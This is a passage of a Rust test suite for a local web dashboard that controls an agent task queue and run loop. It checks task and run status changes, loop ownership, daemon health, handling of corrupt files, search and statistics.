10093 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10094 let f = Fixture::start().await;
10099 let queue = f.queue();
10100 let mut task = Task::new(
10101 "landed while held".to_owned(),
10102 "x".to_owned(),
10103 PathBuf::from("/repo/magi"),
10104 Source::Human,
10105 );
10106 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10107 queue.put(&mut task).expect("file the held task");
10108
10109 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10110 assert_eq!(done.status, 200, "{}", done.body);
10111 assert_eq!(done.json()["status_str"], "done");
10112 assert!(
10113 done.json()["hold_reason"].is_null(),
10114 "a done task cannot still be waiting on something: {}",
10115 done.body
10116 );
10117 }
10118
10119 #[tokio::test]
10120 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10121 let f = Fixture::start().await;
10126 let queue = f.queue();
10127 let runs = f.runs();
10128 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10129 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10133
10134 let mut task = Task::new(
10135 "landed by hand".to_owned(),
10136 "x".to_owned(),
10137 PathBuf::from("/repo/magi"),
10138 Source::Human,
10139 );
10140 task.runs.push("20260101-000000-doa1".to_owned());
10141 task.runs.push("20260101-000000-doa2".to_owned());
10142 queue.put(&mut task).expect("file the task");
10143
10144 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10145 assert_eq!(done.status, 200, "{}", done.body);
10146
10147 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10148 .expect("run still on disk under this fixture's own home");
10149 assert_eq!(
10150 reloaded_run.status,
10151 RunStatus::Superseded,
10152 "closing the task by hand must relabel the earlier blocked attempt exactly \
10153 like the loop's own settle path does"
10154 );
10155 }
10156
10157 #[tokio::test]
10158 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10159 let f = Fixture::start().await;
10164 let queue = f.queue();
10165 let runs = f.runs();
10166 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10167 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10168
10169 let mut task = Task::new(
10170 "closed with nothing actually landed".to_owned(),
10171 "x".to_owned(),
10172 PathBuf::from("/repo/magi"),
10173 Source::Human,
10174 );
10175 task.runs.push("20260101-000000-dob1".to_owned());
10176 task.runs.push("20260101-000000-dob2".to_owned());
10177 queue.put(&mut task).expect("file the task");
10178
10179 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10180 assert_eq!(done.status, 200, "{}", done.body);
10181
10182 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10183 .expect("run still on disk under this fixture's own home");
10184 assert_eq!(
10185 reloaded_run.status,
10186 RunStatus::Blocked,
10187 "the last recorded attempt never landed, so the earlier one must not be \
10188 relabelled as superseded by it"
10189 );
10190 }
10191
10192 #[tokio::test]
10193 async fn unknown_ids_are_json_not_found_on_both_stores() {
10194 let f = Fixture::start().await;
10195
10196 let run = f.get("/api/runs/nosuchrun").await;
10197 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10198
10199 assert_eq!(run.status, 404);
10200 assert_eq!(task.status, 404);
10201 assert!(
10202 run.json()["error"]
10203 .as_str()
10204 .is_some_and(|e| e.contains("run")),
10205 "the error names what was not found: {}",
10206 run.body
10207 );
10208 assert!(
10209 task.json()["error"]
10210 .as_str()
10211 .is_some_and(|e| e.contains("task")),
10212 "the error names what was not found: {}",
10213 task.body
10214 );
10215 }
10216
10217 #[tokio::test]
10218 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10219 let f = Fixture::start().await;
10220
10221 let missing = f.get("/api/health").await.json();
10222 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10223
10224 write_daemon(
10225 f.home.path(),
10226 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10227 );
10228 let stale = f.get("/api/health").await.json();
10229 assert_eq!(
10230 stale["daemon"]["running"], false,
10231 "a minute without a heartbeat is a dead daemon, not a busy one"
10232 );
10233 assert!(
10234 stale["daemon"]["stale_for_secs"]
10235 .as_i64()
10236 .is_some_and(|s| s >= 55),
10237 "staleness is reported so the UI can say how long: {stale}"
10238 );
10239
10240 write_daemon(f.home.path(), Timestamp::now());
10241 let fresh = f.get("/api/health").await.json();
10242 assert_eq!(fresh["daemon"]["running"], true);
10243 assert_eq!(fresh["daemon"]["idle"], false);
10244 assert_eq!(fresh["daemon"]["pid"], 4242);
10245 assert_eq!(fresh["daemon"]["completed"], 7);
10246 assert_eq!(
10247 fresh["daemon"]["current"][0]["task"],
10248 "20260902-140501-aaaa"
10249 );
10250 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10251 }
10252
10253 #[tokio::test]
10254 async fn the_loop_is_not_running_until_something_starts_it() {
10255 let f = Fixture::start().await;
10256
10257 let view = f.get("/api/loop").await.json();
10258 assert_eq!(view["running"], false);
10259 assert_eq!(
10260 view["owned"], false,
10261 "nobody owns a loop that does not exist: {view}"
10262 );
10263 assert_eq!(view["stopping"], false);
10264 assert_eq!(view["last_error"], Value::Null);
10265 assert_eq!(view["daemon"]["running"], false);
10266 assert_eq!(
10267 view["repo"], "/repo/magi",
10268 "the repository a start would use, named before it is started"
10269 );
10270 }
10271
10272 #[tokio::test]
10273 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10274 let f = Fixture::start().await;
10275
10276 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10277 assert_eq!(res.status, 200, "{}", res.body);
10278 let view = res.json();
10279 assert_eq!(view["running"], true);
10280 assert_eq!(
10281 view["owned"], true,
10282 "the loop the UI started is the UI's own to stop: {view}"
10283 );
10284 assert_eq!(
10285 view["merge"],
10286 Value::Null,
10287 "no override was given, so each repository's own config decides"
10288 );
10289
10290 let health = f.get("/api/health").await.json();
10294 assert_eq!(health["loop"]["running"], true, "{health}");
10295 assert_eq!(health["loop"]["owned"], true, "{health}");
10296
10297 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10298 }
10299
10300 #[tokio::test]
10301 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10302 let f = Fixture::start().await;
10303 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10304 assert_eq!(first.status, 200, "{}", first.body);
10305
10306 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10307 assert_eq!(
10308 again.status, 409,
10309 "two loops on one queue race for the same claims: {}",
10310 again.body
10311 );
10312 assert!(
10313 again.json()["error"]
10314 .as_str()
10315 .is_some_and(|e| e.contains("already running the loop")),
10316 "the refusal has to say why: {}",
10317 again.body
10318 );
10319 assert_eq!(
10320 f.get("/api/loop").await.json()["running"],
10321 true,
10322 "and the loop that was already running is untouched by it"
10323 );
10324
10325 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10326 }
10327
10328 #[tokio::test]
10329 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10330 let f = Fixture::start().await;
10331 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10332
10333 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10334 assert_eq!(
10335 res.status, 200,
10336 "the answer must not wait for the loop: a run in flight is tens of \
10337 minutes and the operator is holding a phone: {}",
10338 res.body
10339 );
10340
10341 let view = settled(&f, |v| v["running"] == false).await;
10342 assert_eq!(view["owned"], false);
10343 assert_eq!(
10344 view["stopping"], false,
10345 "a loop that has stopped is not still stopping: {view}"
10346 );
10347 assert_eq!(
10348 view["last_error"],
10349 Value::Null,
10350 "a loop that was asked to stop did not fail: {view}"
10351 );
10352
10353 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10356 assert_eq!(twice.status, 200, "{}", twice.body);
10357 }
10358
10359 #[tokio::test]
10360 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10361 let f = Fixture::start().await;
10362 write_daemon(f.home.path(), Timestamp::now());
10365
10366 let view = f.get("/api/loop").await.json();
10367 assert_eq!(view["running"], false, "not in this process: {view}");
10368 assert_eq!(view["owned"], false, "and not this process's to control");
10369 assert_eq!(
10370 view["daemon"]["running"], true,
10371 "but a loop is alive somewhere, which is what the UI must say"
10372 );
10373 assert_eq!(view["daemon"]["pid"], 4242);
10374
10375 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10376 let res = f.post("/api/loop", Some(body)).await;
10377 assert_eq!(
10378 res.status, 409,
10379 "neither button may pretend to work on someone else's loop: {}",
10380 res.body
10381 );
10382 assert!(
10383 res.json()["error"]
10384 .as_str()
10385 .is_some_and(|e| e.contains("4242")),
10386 "the refusal has to name the process the operator must go to: {}",
10387 res.body
10388 );
10389 }
10390 assert_eq!(
10391 f.get("/api/loop").await.json()["running"],
10392 false,
10393 "and the refusal started nothing"
10394 );
10395 }
10396
10397 #[tokio::test]
10398 async fn a_stale_status_file_is_not_a_foreign_owner() {
10399 let f = Fixture::start().await;
10400 write_daemon(
10401 f.home.path(),
10402 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10403 );
10404
10405 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10406 assert_eq!(
10407 res.status, 200,
10408 "a daemon killed a minute ago must not lock the loop out of its \
10409 own home for good: {}",
10410 res.body
10411 );
10412 assert_eq!(res.json()["running"], true);
10413
10414 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10415 }
10416
10417 #[tokio::test]
10418 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10419 let f = Fixture::start().await;
10420 let before = f.get("/api/health").await.json()["loop_rev"]
10421 .as_u64()
10422 .expect("a loop revision");
10423
10424 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10425
10426 let after = f.get("/api/health").await.json()["loop_rev"]
10427 .as_u64()
10428 .expect("a loop revision");
10429 assert!(
10430 after > before,
10431 "the loop is in-process state, so this counter is the only thing \
10432 that tells a second device the first one started it: {before} -> \
10433 {after}"
10434 );
10435
10436 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10437 }
10438
10439 #[tokio::test]
10440 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10441 let f = Fixture::with_loop(launch_broken).await;
10442
10443 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10444 assert_eq!(
10445 res.status, 200,
10446 "starting it is not the failure: {}",
10447 res.body
10448 );
10449
10450 let view = settled(&f, |v| v["last_error"].is_string()).await;
10451 assert_eq!(
10452 view["running"], false,
10453 "a loop that died must not read as running, or the operator has \
10454 nothing to press: {view}"
10455 );
10456 assert_eq!(view["owned"], false);
10457 assert!(
10458 view["last_error"]
10459 .as_str()
10460 .is_some_and(|e| e.contains("read-only file system")),
10461 "the phone is where a loop that died at 3am is visible: {view}"
10462 );
10463
10464 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10467 assert_eq!(again.status, 200, "{}", again.body);
10468 assert_eq!(
10469 again.json()["last_error"],
10470 Value::Null,
10471 "a fresh start does not keep showing why the last one died"
10472 );
10473 }
10474
10475 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10487 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10488 let home = TempDir::new().expect("temp home");
10489 let runs = home.path().join("runs");
10490 std::fs::create_dir_all(&runs).expect("runs dir");
10491 let ui = Ui::new(
10492 Queue::at(home.path().join("queue")),
10493 Questions::at(home.path().join("questions")),
10494 Talks::at(home.path().join("talks")),
10495 runs,
10496 home.path().to_path_buf(),
10497 PathBuf::from("/repo/magi"),
10498 )
10499 .with_worktrees_root(home.path().join("wt"))
10500 .with_launch(launch_knocking_on_the_way_out);
10501 let looping = ui.looping();
10502 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10503 .await
10504 .expect("bind loopback");
10505 let addr = listener.local_addr().expect("local addr");
10506 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10507 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10508
10509 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10510 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10511
10512 let bound = std::sync::Mutex::new(None);
10527 hand_over(home.path(), &looping, served, |_| {
10528 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10529 let attempt = loop {
10530 match std::net::TcpListener::bind(addr) {
10531 Ok(l) => {
10532 drop(l);
10533 break Ok(());
10534 }
10535 Err(e)
10536 if e.kind() == std::io::ErrorKind::AddrInUse
10537 && std::time::Instant::now() < deadline =>
10538 {
10539 std::thread::sleep(std::time::Duration::from_millis(10));
10540 }
10541 Err(e) => break Err(e.to_string()),
10542 }
10543 };
10544 *bound.lock().expect("bound") = Some(attempt);
10545 Ok(1)
10546 })
10547 .await
10548 .expect("hand over");
10549
10550 assert_eq!(
10551 *PARK_HEARD.lock().expect("park heard"),
10552 Some(200),
10553 "the deck must answer while the loop is parking"
10554 );
10555 let attempt = bound
10556 .lock()
10557 .expect("bound")
10558 .take()
10559 .expect("the successor was started");
10560 assert!(
10561 attempt.is_ok(),
10562 "and the address must be free by the time it is: {attempt:?}"
10563 );
10564 }
10565
10566 #[tokio::test]
10567 async fn a_newer_daemon_status_file_still_renders() {
10568 let f = Fixture::start().await;
10569 std::fs::write(
10572 f.home.path().join("daemon.json"),
10573 serde_json::json!({
10574 "schema": 2,
10575 "updated_at": Timestamp::now().to_string(),
10576 "idle": true,
10577 "surprise": { "nested": [1, 2, 3] },
10578 })
10579 .to_string(),
10580 )
10581 .expect("write daemon.json");
10582
10583 let health = f.get("/api/health").await;
10584
10585 assert_eq!(health.status, 200);
10586 assert_eq!(health.json()["daemon"]["running"], true);
10587 }
10588
10589 #[tokio::test]
10590 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10591 let f = Fixture::start().await;
10592 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10593 let broken = f.runs().join("20260902-140502-bad");
10594 std::fs::create_dir_all(&broken).expect("run dir");
10595 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10596
10597 let list = f.get("/api/runs").await;
10598 let detail = f.get("/api/runs/20260902-140502-bad").await;
10599
10600 assert_eq!(list.status, 200);
10601 let listed = list.json();
10602 let ids: Vec<&str> = listed
10603 .as_array()
10604 .expect("an array")
10605 .iter()
10606 .map(|r| r["id"].as_str().expect("an id"))
10607 .collect();
10608 assert_eq!(
10609 ids,
10610 vec!["20260902-140501-good"],
10611 "one unreadable run must not cost the operator the whole history"
10612 );
10613 assert_eq!(detail.status, 500);
10614 assert!(
10615 detail.json()["error"]
10616 .as_str()
10617 .is_some_and(|e| e.contains("run.json")),
10618 "the failure names the file to look at: {}",
10619 detail.body
10620 );
10621 let health = f.get("/api/health").await;
10625 assert_eq!(health.json()["runs_unreadable"], 1);
10626 }
10627
10628 #[tokio::test]
10630 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10631 let f = Fixture::start().await;
10632 let runs = f.runs();
10633 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10634 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10635 let path = runs.join("20260902-140502-bbbb").join("run.json");
10638 let mut v: serde_json::Value =
10639 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10640 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10641 std::fs::write(&path, v.to_string()).unwrap();
10642 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10643 std::fs::write(
10644 runs.join("20260902-140503-cccc").join("run.json"),
10645 "{ not json",
10646 )
10647 .unwrap();
10648
10649 let res = f.get("/api/search?scope=runs&q=quokka").await;
10650 assert_eq!(res.status, 200, "{}", res.body);
10651 let v = res.json();
10652 assert_eq!(v["total"], 1, "{v}");
10653 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10654 assert_eq!(v["hits"][0]["field"], "text");
10655 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10656 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10657 assert!(
10658 parts
10659 .iter()
10660 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10661 "{v}"
10662 );
10663 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10664 assert_eq!(
10665 flat, "The Quokka leaks across threads",
10666 "whitespace is collapsed"
10667 );
10668
10669 let both = f
10671 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10672 .await
10673 .json();
10674 assert_eq!(both["total"], 1, "{both}");
10675 let neither = f
10676 .get("/api/search?scope=runs&q=quokka%20zebra")
10677 .await
10678 .json();
10679 assert_eq!(neither["total"], 0, "{neither}");
10680 let stmt = f
10682 .get("/api/search?scope=runs&q=mobile%20first")
10683 .await
10684 .json();
10685 assert_eq!(stmt["total"], 2, "{stmt}");
10686 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10687 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10688 }
10689
10690 #[test]
10691 fn snippet_ignores_terms_longer_than_the_field() {
10692 let terms = ["ok".to_owned(), "elephant".to_owned()];
10693 let parts = snippet_of("ok", &terms);
10694 assert_eq!(
10695 parts,
10696 vec![SnippetPart {
10697 text: "ok".to_owned(),
10698 hit: true
10699 }]
10700 );
10701 }
10702
10703 #[test]
10704 fn snippet_marks_matches_longer_than_the_window() {
10705 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10706 let hit_len = |parts: &[SnippetPart]| -> usize {
10707 parts
10708 .iter()
10709 .filter(|p| p.hit)
10710 .map(|p| p.text.chars().count())
10711 .sum()
10712 };
10713 let total =
10714 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10715
10716 let long = "a".repeat(120);
10717 let parts = snippet_of(&long, std::slice::from_ref(&long));
10718 assert!(hit_len(&parts) > 0, "{parts:?}");
10719 assert!(total(&parts) <= cap);
10720
10721 let ja = "あ".repeat(130);
10722 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10723 assert!(hit_len(&parts) > 0, "{parts:?}");
10724 assert!(total(&parts) <= cap);
10725
10726 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10728 let term = format!("ab{}", "c".repeat(100));
10729 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10730 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10731 assert!(total(&parts) <= cap);
10732
10733 let text = format!("{}z", "a".repeat(119));
10735 let parts = snippet_of(&text, &["a".repeat(120)]);
10736 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10737 }
10738
10739 #[tokio::test]
10740 async fn search_caps_hits_and_snippet_length() {
10741 let f = Fixture::start().await;
10742 let runs = f.runs();
10743 for n in 0..(SEARCH_MAX_HITS + 5) {
10744 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10745 }
10746 let v = f.get("/api/search?scope=runs&q=web").await.json();
10747 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10748 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10749 assert_eq!(v["truncated"], true);
10750 assert!(
10752 v["hits"]
10753 .as_array()
10754 .unwrap()
10755 .iter()
10756 .all(|h| h["run"]["status"] == "merged")
10757 );
10758
10759 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10760 let parts = snippet_of(&long, &["needle".to_owned()]);
10761 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10762 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10763 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10764 }
10765
10766 #[tokio::test]
10767 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10768 let f = Fixture::start().await;
10769 let queue = f.queue();
10770 let mut t = Task::new(
10771 "short title".to_owned(),
10772 "line one\nthe hidden Armadillo detail".to_owned(),
10773 PathBuf::from("/repo/magi"),
10774 Source::Agent {
10775 run: "r1".to_owned(),
10776 node: "chat".to_owned(),
10777 },
10778 );
10779 t.last_error = Some("disk full on /tmp".to_owned());
10780 queue.put(&mut t).expect("file the task");
10781
10782 for (q, want) in [
10783 ("armadillo", 1),
10784 ("disk%20FULL", 1),
10785 ("chat", 1),
10786 ("queued", 1),
10787 ("short%20nothing", 0),
10788 ] {
10789 let v = f
10790 .get(&format!("/api/search?scope=tasks&q={q}"))
10791 .await
10792 .json();
10793 assert_eq!(v["total"], want, "{q}: {v}");
10794 }
10795 for bad in [
10796 "/api/search?scope=tasks&q=",
10797 "/api/search?scope=tasks&q=%20",
10798 "/api/search?scope=chats&q=",
10799 "/api/search?scope=chats&q=%20",
10800 "/api/search?scope=nope&q=a",
10801 "/api/search?q=a",
10802 ] {
10803 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10804 }
10805 }
10806
10807 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10809 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10810 .expect("seat value");
10811 let turns: Vec<serde_json::Value> = turns
10812 .iter()
10813 .map(|(who, body)| {
10814 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10815 })
10816 .collect();
10817 let doc = serde_json::json!({
10818 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10819 "status": status, "turns": turns,
10820 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10821 "seat": seat,
10822 });
10823 let dir = f.home.path().join("talks");
10824 std::fs::create_dir_all(&dir).expect("talks dir");
10825 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10826 }
10827
10828 #[tokio::test]
10829 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10830 let f = Fixture::start().await;
10831 write_talk(
10832 &f,
10833 "20260901-000001-aaaa",
10834 "open",
10835 &[
10836 (
10837 "operator",
10838 "\n Why does the Pangolin cache expire?\nsecond line",
10839 ),
10840 ("agent", "Because the TTL is thirty seconds."),
10841 ],
10842 );
10843 write_talk(
10844 &f,
10845 "20260901-000002-bbbb",
10846 "closed",
10847 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10848 );
10849 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10850
10851 let search = |q: &'static str| {
10852 let f = &f;
10853 async move {
10854 f.get(&format!("/api/search?scope=chats&q={q}"))
10855 .await
10856 .json()
10857 }
10858 };
10859
10860 let v = search("PANGOLIN").await;
10861 assert_eq!(v["scope"], "chats");
10862 assert_eq!(v["total"], 1, "{v}");
10863 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10864 assert_eq!(v["hits"][0]["field"], "title");
10865 assert_eq!(v["unreadable"], 1, "{v}");
10866 let marked: Vec<&str> = v["hits"][0]["snippet"]
10867 .as_array()
10868 .unwrap()
10869 .iter()
10870 .filter(|p| p["hit"] == true)
10871 .map(|p| p["text"].as_str().unwrap())
10872 .collect();
10873 assert_eq!(marked, ["Pangolin"]);
10874
10875 let v = search("zebra").await;
10877 assert_eq!(v["total"], 1, "{v}");
10878 assert_eq!(v["hits"][0]["field"], "agent");
10879 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10881 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10882 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10884 assert_eq!(search(q).await["total"], 0, "{q}");
10885 }
10886 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10888 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10890
10891 let v = f.get("/api/search?scope=nope&q=a").await;
10892 assert_eq!(v.status, 400);
10893 assert!(
10894 v.body.contains("scope must be runs, tasks or chats"),
10895 "{}",
10896 v.body
10897 );
10898 }
10899
10900 #[test]
10901 fn a_question_card_links_a_task_id_to_the_task_page() {
10902 let start = APP_JS
10903 .find("function updateAskCard(")
10904 .expect("updateAskCard exists");
10905 let body = &APP_JS[start..];
10906 let body = &body[..body.find("\n}\n").expect("function end")];
10907 assert!(body.contains("question.run_is_task"));
10908 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10909 assert!(body.contains("`#/runs/${question.run}`"));
10910 assert!(body.contains("\"task\" : \"run\""));
10911 }
10912
10913 #[test]
10914 fn stats_bars_share_one_id_keyed_plan() {
10915 let start = APP_JS
10916 .find("function statsBarRows(")
10917 .expect("statsBarRows exists");
10918 let body = &APP_JS[start..];
10919 let body = &body[..body.find("\n}\n").expect("function end")];
10920 assert!(body.contains("statsBarPlan(rows)"));
10921 assert!(body.contains("statsAgentTone(row.agent)"));
10922 assert!(!body.contains("candTone(i)"));
10923 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
10924 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
10925 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
10926 }
10927 }
10928
10929 #[test]
10930 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
10931 let start = APP_JS
10932 .find("function renderStatsReviewerScatter(")
10933 .expect("renderStatsReviewerScatter exists");
10934 let body = &APP_JS[start..];
10935 let body = &body[..body.find("\n}\n").expect("function end")];
10936 assert!(body.contains("statsScatterPlan(reviewers)"));
10937 assert!(body.contains("statsAgentTone(d.agent)"));
10938 assert!(APP_JS.contains("function statsScatterPlan("));
10939 assert!(
10940 APP_JS.contains("d.submitted < STATS_LOW_N")
10941 || APP_JS.contains("r.submitted < STATS_LOW_N")
10942 );
10943 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
10944 assert!(APP_CSS.contains(".precision-scatter"));
10945 }
10946
10947 #[test]
10948 fn advisor_reflection_is_drawn_as_stacked_segments() {
10949 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
10950 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
10951 let html = include_str!("../assets/ui/index.html");
10952 assert!(html.contains("Approximate"));
10953 for label in ["reflected strongly", "faint", "no proposal"] {
10954 assert!(html.contains(label));
10955 }
10956 let css = include_str!("../assets/ui/app.css");
10957 for c in ["refl-strong", "refl-faint", "refl-absent"] {
10958 assert!(css.contains(&format!(".{c} {{")));
10959 }
10960 }
10961
10962 #[test]
10963 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
10964 assert!(APP_JS.contains("function statsDailyPlan("));
10965 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
10966 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
10967 }
10968
10969 #[test]
10970 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10971 let start = APP_JS
10972 .find("function scheduleSearch(")
10973 .expect("scheduleSearch exists");
10974 let body = &APP_JS[start..];
10975 let body = &body[..body.find("\n}\n").expect("function end")];
10976 assert!(body.contains("s.seq += 1"));
10977 }
10978
10979 #[tokio::test]
10984 async fn stats_runs_unreadable_matches_health() {
10985 let f = Fixture::start().await;
10986 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10987 let broken = f.runs().join("20260902-140502-bad");
10988 std::fs::create_dir_all(&broken).expect("run dir");
10989 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10990
10991 let stats = f.get("/api/stats").await;
10992 let health = f.get("/api/health").await;
10993
10994 assert_eq!(stats.status, 200);
10995 assert_eq!(stats.json()["totals"]["runs"], 1);
10996 assert_eq!(stats.json()["runs_unreadable"], 1);
10997 assert_eq!(
10998 stats.json()["runs_unreadable"],
10999 health.json()["runs_unreadable"],
11000 "the dashboard and /api/health must never disagree about how many \
11001 runs could not be read"
11002 );
11003 }
11004
11005 #[tokio::test]
11006 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11007 let f = Fixture::start().await;
11008 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11009 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11010 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11011
11012 let totals = &f.get("/api/stats").await.json()["totals"];
11013 assert_eq!(totals["runs"], 3);
11014 assert_eq!(totals["merged"], 1);
11015 assert_eq!(totals["stalled"], 1);
11016 assert_eq!(totals["in_progress"], 1);
11017 assert_eq!(totals["blocked"], 0);
11020 assert_eq!(totals["ready"], 0);
11021 }
11022
11023 #[tokio::test]
11024 async fn stats_advisors_report_proposals_and_reflection() {
11025 use crate::advise::{Advice, AdvisorRecord, Reflection};
11026 use crate::verdict::Proposal;
11027
11028 let f = Fixture::start().await;
11029 let mut state = RunState::new(
11030 PathBuf::from("/repo/magi"),
11031 "main".to_owned(),
11032 "0123456789abcdef".to_owned(),
11033 "task".to_owned(),
11034 Config::default(),
11035 );
11036 state.id = "20260902-140501-a".to_owned();
11037 state.status = RunStatus::Merged;
11038 state.advice = Some(Advice {
11039 records: vec![
11040 AdvisorRecord {
11041 seat: "advisor-1".to_owned(),
11042 agent: "alpha".to_owned(),
11043 proposal: Some(Proposal {
11044 approach: "do it".to_owned(),
11045 key_tradeoff: "speed over memory".to_owned(),
11046 risks: Vec::new(),
11047 touches: Vec::new(),
11048 why_not_naive: "breaks under load".to_owned(),
11049 }),
11050 error: None,
11051 duration_ms: 0,
11052 reflection: Reflection::Strong,
11053 },
11054 AdvisorRecord {
11055 seat: "advisor-2".to_owned(),
11056 agent: "alpha".to_owned(),
11057 proposal: None,
11058 error: Some("timed out".to_owned()),
11059 duration_ms: 0,
11060 reflection: Reflection::Absent,
11061 },
11062 ],
11063 synthesis: Some("blended brief".to_owned()),
11064 });
11065 let dir = f.runs().join(&state.id);
11066 std::fs::create_dir_all(&dir).expect("run dir");
